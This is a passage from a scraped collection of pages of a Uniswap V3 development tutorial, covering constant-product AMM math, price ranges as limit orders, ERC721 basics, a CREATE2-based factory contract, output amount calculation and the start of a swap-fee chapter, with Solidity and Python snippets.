chapter retells the whitepaper of Uniswap V2 . Understanding this math is crucial to build a Uniswap-like DEX, but its totally fine if you dont understand everything at this stage. As I mentioned in the previous section, there are different approaches to building AMM. Well be focusing on and building one specific type of AMMConstant Function Market Maker. Dont be scared by the long name! At its core is a very simple mathematical formula: $$x * y = k$$ Thats it, this is the AMM. $x$ and $y$ are pool contract reservesthe amounts of tokens it currently holds. k is just their product, actual value doesnt matter. Why there are only two reserves, x and y ? Each Uniswap pool can hold only two tokens. We use x and y to refer to reserves of one pool, where x is the reserve of the first token and y is the reserve of the other token, and the order doesnt matter. The constant function formula says: after each trade, k must remain unchanged . When traders make trades, they put some amount of one token into a pool (the token they want to sell) and remove some amount of the other token from the pool (the token they want to buy). This changes the reserves of the pool, and the constant function formula says that the product of reserves must not change. As we will see many times in this book, this simple requirement is the core algorithm of how Uniswap works. The trade function # Now that we know what pools are, lets write the formula of how trading happens in a pool: $$(x + r\\Delta x)(y - \\Delta y) = k$$ Theres a pool with some amount of token 0 ($x$) and some amount of token 1 ($y$) When we buy token 1 for token 0, we give some amount of token 0 to the pool ($\\Delta x$). The pool gives us some amount of token 1 in exchange ($\\Delta y$). The pool also takes a small fee ($r = 1 - \\text{swap fee}$) from the amount of token 0 we gave. The reserve of token 0 changes ($x + r \\Delta x$), and the reserve of token 1 changes as well ($y - \\Delta y$). The product of updated reserves must still equal $k$. Well use token 0 and token 1 notation for the tokens because this is how theyre referenced in the code. At this point, it doesnt matter which of them is 0 and which is 1. Were basically giving a pool some amount of token 0 and getting some amount of token 1. The job of the pool is to give us a correct amount of token 1 calculated at a fair price. This leads us to the following conclusion: pools decide what trade prices are . Pricing # How do we calculate the prices of tokens in a pool? Since Uniswap pools are separate smart contracts, tokens in a pool are priced in terms of each other . For example: in a ETH/USDC pool, ETH is priced in terms of USDC and USDC is priced in terms of ETH. If 1 ETH costs 1000 USDC, then 1 USDC costs 0.001 ETH. The same is true for any other pool, whether its a stablecoin pair or not (e.g. ETH/BTC). In the real world, everything is priced based on the law of supply and demand . This also holds true for AMMs. Well put the demand part aside for now and focus on supply. The prices of tokens in a pool are determined by the supply of the tokens, that is by the amounts of reserves of the tokens that the pool is holding. Token prices are simply relations of reserves: $$P_x = \\frac{y}{x}, \\quad P_y=\\frac{x}{y}$$ Where $P_x$ and $P_y$ are prices of tokens in terms of the other token. Such prices are called spot prices and they only reflect current market prices. However, the actual price of a trade is calculated differently. And this is where we need to bring the demand part back. Concluding from the law of supply and demand, high demand increases the price and this is a property we need to have in a permissionless system. We want the price to be high when demand is high, and we can use pool reserves to measure the demand: the more tokens you want to remove from a pool (relative to pools reserves), the higher the impact of demand is. Lets return to the trade formula and look at it closer: $$(x + r\\Delta x)(y - \\Delta y) = xy$$ As you can see, we can derive $\\Delta x$ and $\\Delta y$ from it, which means we can calculate the output amount of a trade based on the input amount and vice versa: $$\\Delta y = \\frac{yr\\Delta x}{x + r\\Delta x}$$ $$\\Delta x = \\frac{x \\Delta y}{r(y - \\Delta y)}$$ In fact, these formulas free us from calculating prices! We can always find the output amount using the $\\Delta y$ formula (when we want to sell a known amount of tokens) and we can always find the input amount using the $\\Delta x$ formula (when we want to buy a known amount of tokens). Notice that each of these formulas is a relation of reserves ($x/y$ or $y/x$) and they also take the trade amount ($\\Delta x$ in the former and $\\Delta y$ in the latter) into consideration. These are the pricing functions that respect both supply and demand . And we dont even need to calculate the prices! Heres how you can derive the above formulas from the trade function: $$(x + r\\Delta x)(y - \\Delta y) = xy$$ $$y - \\Delta y = \\frac{xy}{x + r\\Delta x}$$ $$-\\Delta y = \\frac{xy}{x + r\\Delta x} - y$$ $$-\\Delta y = \\frac{xy - y({x + r\\Delta x})}{x + r\\Delta x}$$ $$-\\Delta y = \\frac{xy - xy - y r \\Delta x}{x + r\\Delta x}$$ $$-\\Delta y = \\frac{- y r \\Delta x}{x + r\\Delta x}$$ $$\\Delta y = \\frac{y r \\Delta x}{x + r\\Delta x}$$ And: $$(x + r\\Delta x)(y - \\Delta y) = xy$$ $$x + r\\Delta x = \\frac{xy}{y - \\Delta y}$$ $$r\\Delta x = \\frac{xy}{y - \\Delta y} - x$$ $$r\\Delta x = \\frac{xy - x(y - \\Delta y)}{y - \\Delta y}$$ $$r\\Delta x = \\frac{xy - xy + x \\Delta y}{y - \\Delta y}$$ $$r\\Delta x = \\frac{x \\Delta y}{y - \\Delta y}$$ $$\\Delta x = \\frac{x \\Delta y}{r(y - \\Delta y)}$$ The Curve # The above calculations might seem too abstract and dry. Lets visualize the constant product function to better understand how it works. When plotted, the constant product function is a quadratic hyperbola: Where axes are the pool reserves. Every trade starts at the point on the curve that corresponds to the current ratio of reserves. To calculate the output amount, we need to find a new point on the curve, which has the $x$ coordinate of $x+\\Delta x$, i.e. current reserve of token 0 + the amount were selling. The change in $y$ is the amount of token 1 well get. Lets look at a concrete example: The purple line is the curve, the axes are the reserves of a pool (notice that theyre equal at the start price). Start price is 1. Were selling 200 of token 0. If we use only the start price, we expect to get 200 of token 1. However, the execution price is 0.666, so we get only 133.333 of token 1! This example is from the Desmos chart made by Dan Robinson , one of the creators of Uniswap. To build a better intuition of how it works, try making up different scenarios and plotting them on the graph. Try different reserves, see how output amount changes when $\\Delta x$ is small relative to $x$. As the legend goes, Uniswap was invented in Desmos. I bet youre wondering why using such a curve? It might seem like it punishes you for trading big amounts. This is true, and this is a desirable property! The law of supply and demand tells us that when demand is high (and supply is constant) the price is also high. And when demand is low, the price is also lower. This is how markets work. And, magically, the constant product function implements this mechanism! Demand is defined by the amount you want to buy, and supply is the pool reserves. When you want to buy a big amount relative to pool reserves the price is higher than when you want to buy a smaller amount. Such a simple formula guarantees such a powerful mechanism! Even though Uniswap doesnt calculate trade prices, we can still see them on the curve. Surprisingly, there are multiple prices when making a trade: Before a trade, theres a spot price . Its equal to the relation of reserves, $y/x$ or $x/y$ depending on the direction of the trade. This price is also the slope of the tangent line at the starting point. After a trade, theres a new spot price, at a different point on the curve. And its the slope of the tangent line at this new point. The actual price of the trade is the slope of the line connecting the two points! And thats the whole math of Uniswap! Phew! Well, this is the math of Uniswap V2, and were studying Uniswap V3. So in the next part, well see how the mathematics of Uniswap V3 is different. \\[ \\] Constant Function Market Makers The trade function Pricing The Curve", - "labels": [ - "Documentation" - ] - }, - { - "title": "Different Price Ranges #", - "html_url": "https://uniswapv3book.com/docs/milestone_3/different-ranges/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Different Price Ranges Different Price Ranges Limit Orders Updating mint Function Different Price Ranges # The way we implemented it, our Pool contract creates only price ranges that include the current price: // src/UniswapV3Pool.sol function mint ( ... amount0 = Math.calcAmount0Delta( slot0_.sqrtPriceX96, TickMath.getSqrtRatioAtTick(upperTick), amount ); amount1 = Math.calcAmount1Delta( slot0_.sqrtPriceX96, TickMath.getSqrtRatioAtTick(lowerTick), amount ); liquidity += uint128 (amount); ... } From this piece you can also see that we always update the liquidity tracker (which tracks only currently available liquidity, i.e. liquidity available at the current price). However, in reality, price ranges can also be created below or above the current price. Thats it: the design of Uniswap V3 allows liquidity provider to provide liquidity that doesnt get immediately used. Such liquidity gets injected when current price gets into such sleeping price ranges. These are kinds of price ranges that can exist: Active price range, i.e. one that includes current price. Price range placed below current price. The upper tick of this range is below the current tick. Price range placed above current price. The lower tick of this range is above the current tick. Limit Orders # An interesting fact about inactive liquidity (i.e. liquidity not provided at current price) is that it acts as limit orders . In trading, limit orders are orders that get executed when price crosses a level chosen by trader. For example, you can place a limit order that buys 1 ETH when its price drops to $1000. Similarly, you can use limit order to sell assets. With Uniswap V3, you can get similar behavior by placing liquidity at ranges that are below or above current price. Lets see how this works: If you provide liquidity below current price (i.e. the price range you chose lays entirely below the current price) or above it, then your whole liquidity will be composed of only one asset the asset will be the cheaper one of the two. In our example, were building a pool with ETH being token $x$ and USDC being token $y$, and we define the price as: $$P = \\frac{y}{x}$$ If we put liquidity below current price, then the liquidity will be composed of USDC solely because, where we added the liquidity, the price of USDC is lower than the current price. Likewise, when we put liquidity above current price, then the liquidity will be composed of ETH because ETH is cheaper in that range. Recall this illustration from the introduction: If we buy all available amount of ETH from this range, the range will contain only the other token, USDC, and the price will move to the right of the curve. The price, as we defined it ($\\frac{y}{x}$), will increase . If theres a price range to the right of this one, it needs to have ETH liquidity, and only ETH, not USDC: it needs to provide ETH for next swaps. If we keep buying and rising the price, we might drain the next price range as well, which means buying all its ETH and selling USDC. Again, the price range ends up having only USDC and current price moves outside of it. Similarly, if were buying USDC token, we move the price to the left and removing USDC tokens from the pool. The next price range will only contain USDC tokens to satisfy our demand, and, similarly to the above scenario, will end up containing only ETH tokens if we buy all USDC from it. Note the interesting fact: when crossing an entire price range, its liquidity is swapped from one token to another. And if we set a very narrow price range, one that gets crossed quickly during a price move, we get a limit order! For example, if you want to buy ETH at a lower price, you need to place a price range containing only USDC at the lower price and wait for current price to cross it. After that, youll need to remove your liquidity and get it whole converted to ETH! I hope this example didnt confuse you! I think this is good way to explain the dynamics of price ranges. Updating mint Function # To support all the kinds of price ranges, we need to know whether the current price is below, inside, or above the price range specified by user and calculate token amounts accordingly. If the price range is above the current price, we want the liquidity to be composed of token $x$: // src/UniswapV3Pool.sol function mint ( ... if (slot0_.tick < lowerTick) { amount0 = Math.calcAmount0Delta( TickMath.getSqrtRatioAtTick(lowerTick), TickMath.getSqrtRatioAtTick(upperTick), amount ); ... When the price range includes the current price, we want both tokens in amounts proportional to the price (this is the scenario we implemented earlier): } else if (slot0_.tick < upperTick) { amount0 = Math.calcAmount0Delta( slot0_.sqrtPriceX96, TickMath.getSqrtRatioAtTick(upperTick), amount ); amount1 = Math.calcAmount1Delta( slot0_.sqrtPriceX96, TickMath.getSqrtRatioAtTick(lowerTick), amount ); liquidity = LiquidityMath.addLiquidity(liquidity, int128 (amount)); Notice that this is the only scenario where we want to update liquidity since the variable tracks liquidity thats available immediately. In all other cases, when the price range is below the current price, we want the range to contain only token $y$: } else { amount1 = Math.calcAmount1Delta( TickMath.getSqrtRatioAtTick(lowerTick), TickMath.getSqrtRatioAtTick(upperTick), amount ); } And thats it! \\[ \\] Different Price Ranges Limit Orders Updating mint Function", - "labels": [ - "Documentation" - ] - }, - { - "title": "ERC721 Overview #", - "html_url": "https://uniswapv3book.com/docs/milestone_6/erc721-overview/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer ERC721 Overview ERC721 Overview ERC721 Overview # Lets begin with an overview of EIP-721 , the standard that defines NFT contracts. ERC721 is a variant of ERC20. The main difference between them is that ERC721 tokens are non-fungible , that is: one token is not identical to another. To distinguish ERC721 tokens, each of them has a unique ID, which is almost always the counter at which a token was minted. ERC721 tokens also have an extended concept of ownership: owner of each token is tracked and stored in the contract. This means that only distinct tokens, identified by token IDs, can be transferred (or approved for transfer). What Uniswap V3 liquidity positions and NFTs have in common is this non-fungibility: NFTs and liquidity positions are not interchangeable and are identified by unique IDs. Its this similarity that will allow us to merge the two concepts. The biggest difference between ERC20 and ERC721 is the tokenURI function in the latter. NFT tokens, which are implemented as ERC721 smart contracts, have linked assets that are stored externally, not on blockchain. To link token IDs to images (or sounds, or anything else) stored outside of blockchain, ERC721 defines the tokenURI function. The function is expected to return a link to a JSON file that defines NFT token metadata, e.g.: { \"name\" : \"Thor's hammer\" , \"description\" : \"Mjlnir, the legendary hammer of the Norse god of thunder.\" , \"image\" : \"https://game.example/item-id-8u5h2m.png\" , \"strength\" : 20 } (This example is taken from the ERC721 documentation on OpenZeppelin ) Such JSON file defines: the name of a token, the description of a collection, the link to the image of a token, properties of a token. Alternatively, we may store JSON metadata and token images on-chain. This is very expensive of course (saving data on-chain is the most expensive operation in Ethereum), but we can make it cheaper if we store templates. All tokens within a collection have similar metadata (mostly identical but image links and properties are different for each token) and visuals. For the latter, we can use SVG, which is an HTML-like format, and HTML is a good templating language. When storing JSON metadata and SVG on-chain, the tokenURI function, instead of returning a link, would return JSON metadata directly, using the data URI scheme to encode it. SVG images would also be inlined, it wont be necessary making external requests to download token metadata and image. ERC721 Overview", - "labels": [ - "Documentation" - ] - }, - { - "title": "Factory Contract #", - "html_url": "https://uniswapv3book.com/docs/milestone_4/factory-contract/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Factory Contract Factory Contract CREATE and CREATE2 Opcodes Tick Spacing Factory Implementation Pool Initialization PoolAddress Library Simplified Interfaces of Manager and Quoter Factory Contract # Uniswap is designed in a way that assumes many discrete Pool contracts, with each pool handling swaps of one token pair. This looks problematic when we want to swap between two tokens that dont have a poolif theres no pool, no swaps are possible. However, we can still do intermediate swaps: first swap to a token that has pairs with either of the tokens and then swap this token to the target token. This can also go deeper and have more intermediate tokens. However, doing this manually is cumbersome, and, luckily, we can make the process easier by implementing it in our smart contracts. Factory contract is a contract that serves multiple purposes: It acts as a centralized registry of Pool contracts. Using a factory, you can find all deployed pools, their tokens, and addresses. It simplifies deployment of Pool contracts. EVM allows to deploy smart contracts from smart contractsFactory uses this feature to make pools deployment a breeze. It makes pool addresses predictable and allows to compute them without making calls to the registry. This makes pools easily discoverable. Lets build Factory contract! But before doing this, we need to learn something new. CREATE and CREATE2 Opcodes # EVM has two ways of deploying contracts: via CREATE or via CREATE2 opcode. The only difference between them is how new contract address is generated: CREATE uses deployers account nonce to generate a contract address (in pseudocode): KECCAK256(deployer.address, deployer.nonce) nonce is an account-specific counter of transactions. Using nonce in new contract address generation makes it hard to compute an address in other contracts or off-chain apps, mainly because, to find the nonce a contract was deployed at, one needs to scan historical account transactions. CREATE2 uses a custom salt to generate a contract address. This is just an arbitrary sequence of bytes chosen by a developer, which is used to make address generation deterministic (and reduces the chance of a collision). KECCAK256(deployer.address, salt, contractCodeHash) We need to know the difference because Factory uses CREATE2 when deploying Pool contracts so pools get unique and deterministic addresses that can be computed in other contracts and off-chain apps. Specifically, for salt, Factory computes a hash using these pool parameters: keccak256(abi.encodePacked(token0, token1, tickSpacing)) token0 and token1 are the addresses of pool tokens, and tickSpacing is something were going to learn about next. Tick Spacing # Recall the loop in swap function: while ( state.amountSpecifiedRemaining > 0 && state.sqrtPriceX96 != sqrtPriceLimitX96 ) { ... (step.nextTick, ) = tickBitmap.nextInitializedTickWithinOneWord(...); (state.sqrtPriceX96, step.amountIn, step.amountOut) = SwapMath.computeSwapStep(...); ... } This loop finds initialized ticks that have some liquidity by iterating them in either of the directions. This iterating, however, is an expensive operation: if a tick is far away, the code would need to pass all the ticks between the current and the target one, which consumes gas. To make this loop more gas-efficient, Uniswap pools have tickSpacing setting, which sets, as the name suggest, the distance between ticks: the wider the distance, the more gas efficient swaps are. However, the wider a tick spacing the lower the precision. Low volatility pairs (e.g. stablecoin pairs) need higher precision because price movements are narrow in such pairs. Medium and high volatility pairs need lower precision since price movement are wide in such pairs. To handle this diversity, Uniswap allows to pick a tick spacing when a pair is deployed. Uniswap allows deployers to choose from these options: 10, 60, or 200. And well have only 10 and 60 for simplicity. In technical terms, tick indexes can only be multiples of tickSpacing : if tickSpacing is 10, only multiples of 10 will be valid as tick indexes (10, 20, 5000, 5010, but not 8, 12, 5001, etc.). However, and this is important, this doesnt apply to the current priceit can still be any tick because we want it to be as precise as possible. tickSpacing is only applied to price ranges. Thus, each pool is uniquely identified by this set of parameters: token0 , token1 , tickSpacing ; And, yes, there can be pools with the same tokens but different tick spacings. Factory contract uses this set of parameters as a unique identifier of a pool and passes it as a salt to generate a new pool contract address. From now on, well assume the tick spacing of 60 for all our pools, and well use 10 for stablecoin pairs. Factory Implementation # In the constructor of Factory, we need to initialize supported tick spacings: // src/UniswapV3Factory.sol contract UniswapV3Factory is IUniswapV3PoolDeployer { mapping ( uint24 => bool ) public tickSpacings; constructor () { tickSpacings[ 10 ] = true ; tickSpacings[ 60 ] = true ; } ... We couldve made them constants, but well need to have it as a mapping for a later milestone (tick spacings will have different swap fee amounts). Factory contract is a contract with only one function createPool . The function begins with necessary checks we need to make before creating a pool: // src/UniswapV3Factory.sol contract UniswapV3Factory is IUniswapV3PoolDeployer { PoolParameters public parameters; mapping ( address => mapping ( address => mapping ( uint24 => address ))) public pools; ... function createPool ( address tokenX, address tokenY, uint24 tickSpacing ) public returns ( address pool) { if (tokenX == tokenY) revert TokensMustBeDifferent(); if ( ! tickSpacings[tickSpacing]) revert UnsupportedTickSpacing(); (tokenX, tokenY) = tokenX < tokenY ? (tokenX, tokenY) : (tokenY, tokenX); if (tokenX == address ( 0 )) revert TokenXCannotBeZero(); if (pools[tokenX][tokenY][tickSpacing] != address ( 0 )) revert PoolAlreadyExists(); ... Notice that this is first time when were sorting tokens: (tokenX, tokenY) = tokenX < tokenY ? (tokenX, tokenY) : (tokenY, tokenX); From now on, well also expect pool token addresses to be sorted, i.e. token0 goes before token1 when sorted. Well enforce this to make salt (and pool addresses) computation consistent. This change also affects how we deploy tokens in tests and the deployment script: we need to ensure that WETH is always token0 to make price calculations simpler in Solidity (otherwise, wed need to use fractional prices, like 1/5000). If WETH is not token0 in your tests, change the order of token deployments. After that, we prepare pool parameters and deploy a pool: parameters = PoolParameters({ factory : address (this), token0 : tokenX, token1 : tokenY, tickSpacing : tickSpacing }); pool = address ( new UniswapV3Pool{ salt : keccak256(abi.encodePacked(tokenX, tokenY, tickSpacing)) }() ); delete parameters; This piece looks weird because parameters is not used. Uniswap uses Inversion of Control to pass parameters to a pool during deployment. Lets look at updated Pool contract constructor: // src/UniswapV3Pool.sol contract UniswapV3Pool is IUniswapV3Pool { ... constructor () { (factory, token0, token1, tickSpacing) = IUniswapV3PoolDeployer( msg.sender ).parameters(); } .. } Aha! Pool expects its deployer to implement IUniswapV3PoolDeployer interface (which only defines the parameters() getter) and calls it in the constructor during deployment to get the parameters. This is what the flow looks like: Factory : defines parameters state variable (implements IUniswapV3PoolDeployer ) and sets it before deploying a pool. Factory : deploys a pool. Pool : in the constructor, calls parameters() function on its deployer and expects that pool parameters are returned. Factory : calls delete parameters; to clean up the slot of parameters state variable and to reduce gas consumption. This is a temporary state variable that has a value only during a call to createPool() . After a pool is created, we keep it in the pools mapping (so it can be found by its tokens) and emit an event: pools[tokenX][tokenY][tickSpacing] = pool; pools[tokenY][tokenX][tickSpacing] = pool; emit PoolCreated(tokenX, tokenY, tickSpacing, pool); } Pool Initialization # As you have noticed from the code above, we no longer set sqrtPriceX96 and tick in Pools constructorthis is now done in a separate function, initialize , that needs to be called after pool is deployed: // src/UniswapV3Pool.sol function initialize ( uint160 sqrtPriceX96) public { if (slot0.sqrtPriceX96 != 0 ) revert AlreadyInitialized(); int24 tick = TickMath.getTickAtSqrtRatio(sqrtPriceX96); slot0 = Slot0({sqrtPriceX96 : sqrtPriceX96, tick : tick}); } So this is how we deploy pools now: UniswapV3Factory factory = new UniswapV3Factory(); UniswapV3Pool pool = UniswapV3Pool(factory.createPool(token0, token1, tickSpacing)); pool.initialize(sqrtP(currentPrice)); PoolAddress Library # Lets now implement a library that will help us calculate pool contract addresses from other contracts. This library will have only one function, computeAddress : // src/lib/PoolAddress.sol library PoolAddress { function computeAddress ( address factory, address token0, address token1, uint24 tickSpacing ) internal pure returns ( address pool) { require(token0 < token1); ... The function needs to know pool parameters (theyre used to build a salt) and Factory contract address. It expects the tokens to be sorted, which we discussed above. Now, the core of the function: pool = address ( uint160 ( uint256 ( keccak256( abi.encodePacked( hex\"ff\" , factory, keccak256( abi.encodePacked(token0, token1, tickSpacing) ), keccak256(type( UniswapV3Pool ).creationCode) ) ) ) ) ); This is what CREATE2 does under the hood to calculate new contract address. Lets unwind it: first, we calculate salt ( abi.encodePacked(token0, token1, tickSpacing) ) and hash it; then, we obtain Pool contract code ( type(UniswapV3Pool).creationCode ) and also hash it; then, we build a sequence of bytes that includes: 0xff , Factory contract address, hashed salt, and hashed Pool contract code; we then hash the sequence and convert it to an address. These steps implement contract address generation as its defined in EIP-1014 , which is the EIP that added CREATE2 opcode. Lets look closer at the values that constitute the hashed byte sequence: 0xff , as defined in the EIP, is used to distinguish addresses generated by CREATE and CREATE2 ; factory is the address of the deployer, in our case a Factory contract; salt was discussed earlierit uniquely identifies a pool; hashed contract code is needed to protect from collisions: different contracts can have the same salt, but their code hash will be different. So, according to this scheme, a contract address is a hash of the values that uniquely identify this contract, including its deployer, code, and unique parameters. We can use this function from anywhere to find out a pool address without making any external calls and without querying the factory. Simplified Interfaces of Manager and Quoter # In Manager and Quoter contracts, we no longer need to ask users for pool address! This makes interaction with the contracts easier because users dont need to know pool addresses, they only need to know tokens. However, users also need to specify tick spacing because its included in pools salt. Moreover, we no longer need to ask users for the zeroForOne flag because we can now always figure it out thanks to tokens sorting. zeroForOne is true when from token is less than to token, since pools token0 is always less than token1 . Likewise, zeroForOne is always false when from token is greater than to token. Addresses are hashes, and hashes are numbers, so we can say less than or greater that when comparing addresses. Factory Contract CREATE and CREATE2 Opcodes Tick Spacing Factory Implementation Pool Initialization PoolAddress Library Simplified Interfaces of Manager and Quoter", - "labels": [ - "Documentation" - ] - }, - { - "title": "Output Amount Calculation #", - "html_url": "https://uniswapv3book.com/docs/milestone_2/output-amount-calculation/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Output Amount Calculation Output Amount Calculation Output Amount Calculation # Our collection of Uniswap math formulas lacks a final piece: the formula of calculating the output amount when selling ETH (that is: selling token $x$). In the previous milestone, we had an analogous formula for the scenario when ETH is bought (buying token $x$): $$\\Delta \\sqrt{P} = \\frac{\\Delta y}{L}$$ This formula finds the change in the price when selling token $y$. We then added this change to the current price to find the target price: $$\\sqrt{P_{target}} = \\sqrt{P_{current}} + \\Delta \\sqrt{P}$$ Now, we need a similar formula to find the target price when selling token $x$ (ETH in our case) and buying token $y$ (USDC in our case). Recall that the change in token $x$ can be calculated as: $$\\Delta x = \\Delta \\frac{1}{\\sqrt{P}}L$$ From this formula, we can find the target price: $$\\Delta x = (\\frac{1}{\\sqrt{P_{target}}} - \\frac{1}{\\sqrt{P_{current}}}) L$$ $$= \\frac{L}{\\sqrt{P_{target}}} - \\frac{L}{\\sqrt{P_{current}}}$$ From this, we can find $\\sqrt{P_{target}}$ using basic algebraic transformations: $$\\sqrt{P_{target}} = \\frac{\\sqrt{P}L}{\\Delta x \\sqrt{P} + L}$$ Knowing the target price, we can find the output amount similarly to how we found it in the previous milestone. Lets update our Python script with the new formula: # Swap ETH for USDC amount_in = 0.01337 * eth print( f \" \\n Selling { amount_in / eth } ETH\" ) price_next = int((liq * q96 * sqrtp_cur) // (liq * q96 + amount_in * sqrtp_cur)) print( \"New price:\" , (price_next / q96) ** 2 ) print( \"New sqrtP:\" , price_next) print( \"New tick:\" , price_to_tick((price_next / q96) ** 2 )) amount_in = calc_amount0(liq, price_next, sqrtp_cur) amount_out = calc_amount1(liq, price_next, sqrtp_cur) print( \"ETH in:\" , amount_in / eth) print( \"USDC out:\" , amount_out / eth) Its output: Selling 0.01337 ETH New price: 4993.777388290041 New sqrtP: 5598789932670289186088059666432 New tick: 85163 ETH in: 0.013369999999998142 USDC out: 66.80838889019013 Which means that well get 66.8 USDC when selling 0.01337 ETH using the liquidity we provided in the previous step. This looks good, but enough of Python! Were going to implement all the math calculations in Solidity. \\[ \\] Output Amount Calculation", - "labels": [ - "Documentation" - ] - }, - { - "title": "Swap Fees #", - "html_url": "https://uniswapv3book.com/docs/milestone_5/swap-fees/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Swap Fees Swap Fees How Swap Fees are Collected Calculating Position Accumulated Fees Accruing Swap Fees Adding Required State Variables Collecting Fees Updating Fee Trackers in Ticks Updating Global Fee Trackers Fee Tracking in Positions Management Initialization of Fee Trackers in Ticks Updating Position Fees and Token Amounts Removing Liquidity Burning Liquidity Swap Fees # As I mentioned in the introduction, swap fees is a core mechanism of Uniswap. Liquidity providers need to get paid for the liquidity they provide, otherwise theyll just use it somewhere else. To incentivize them, trades pay a small fee during each swap. These fees then distributed among all liquidity providers pro rata (proportionally to their share in total pool liquidity). To better understand the mechanism of fees collection and distribution, lets see how they work. How Swap Fees are Collected # Swap fees are collected only when a price range is engaged (used in trades). So we need to track the moments when price range boundaries get crossed. This is when a price range gets engaged and this is when we want to start collecting fees for it: when price is increasing and a tick is crossed from left to right; when price is decreasing and a tick is crossed from right to left. This is when a price range gets disengaged: when price is increasing and a tick is crossed from right to left; when price is decreasing and a tick is crossed from left to right. Besides knowing when a price range gets engaged/disengaged, we also want to keep track of how much fees each price range accumulated. To make fees accounting simpler, Uniswap V3 tracks the global fees generated by 1 unit of liquidity . Price range fees are then calculated based on the global ones: fees accumulated outside of a price range are subtracted from the global fees. Fees accumulated outside of a price range are tracked when a tick is crossed (and ticks are crossed when swaps move the price; fees are collected during swaps). With this approach, we dont need to update fees accumulated by each position on every swapthis allows to save a lot of gas and make interaction with pools cheaper. Lets recap so we have a clear picture before moving on: Fees are paid by users who swap tokens. A small amount is subtracted from input token and accumulated on pools balance. Each pool has feeGrowthGlobal0X128 and feeGrowthGlobal1X128 state variables that track total accumulated fees per unit of liquidity (that is, fee amount divided by pools liquidity). Notice that at this point actual positions are not updated to optimize gas usage. Ticks keep record of fees accumulated outside of them. When adding a new position and activating a tick (adding liquidity to a previously empty tick), the tick records how much fees were accumulated outside of it (by convention, we assume all fees were accumulated below the tick ). Whenever a tick is activated, fees accumulated outside of the tick are updated as the difference between global fees accumulated outside of the tick and the fees accumulated outside of the tick since the last time it was crossed. Having ticks that know how much fees were accumulated outside of them will allow us to calculated how much fees were accumulated inside of a position (position is a range between two ticks). Knowing how much fees were accumulated inside a position will allow us to calculate the shares of fees liquidity providers are eligible for. If a position wasnt involved in swapping, itll have zero fees accumulated inside of it and the liquidity providers who provided liquidity into this range will have no profits from it. Now, lets see how to calculate fees accumulated by a position (step 6). Calculating Position Accumulated Fees # To calculated total fees accumulated by a position, we need to consider two cases: when current price is inside the position and when its outside of the position. In both cases, we subtract fees collected outside of the lower and the upper ticks of the position from fees collected globally. However, we calculate those fees differently depending on current price. When current price is inside the position, we subtract the fees that have been collected outside of ticks by this moment: 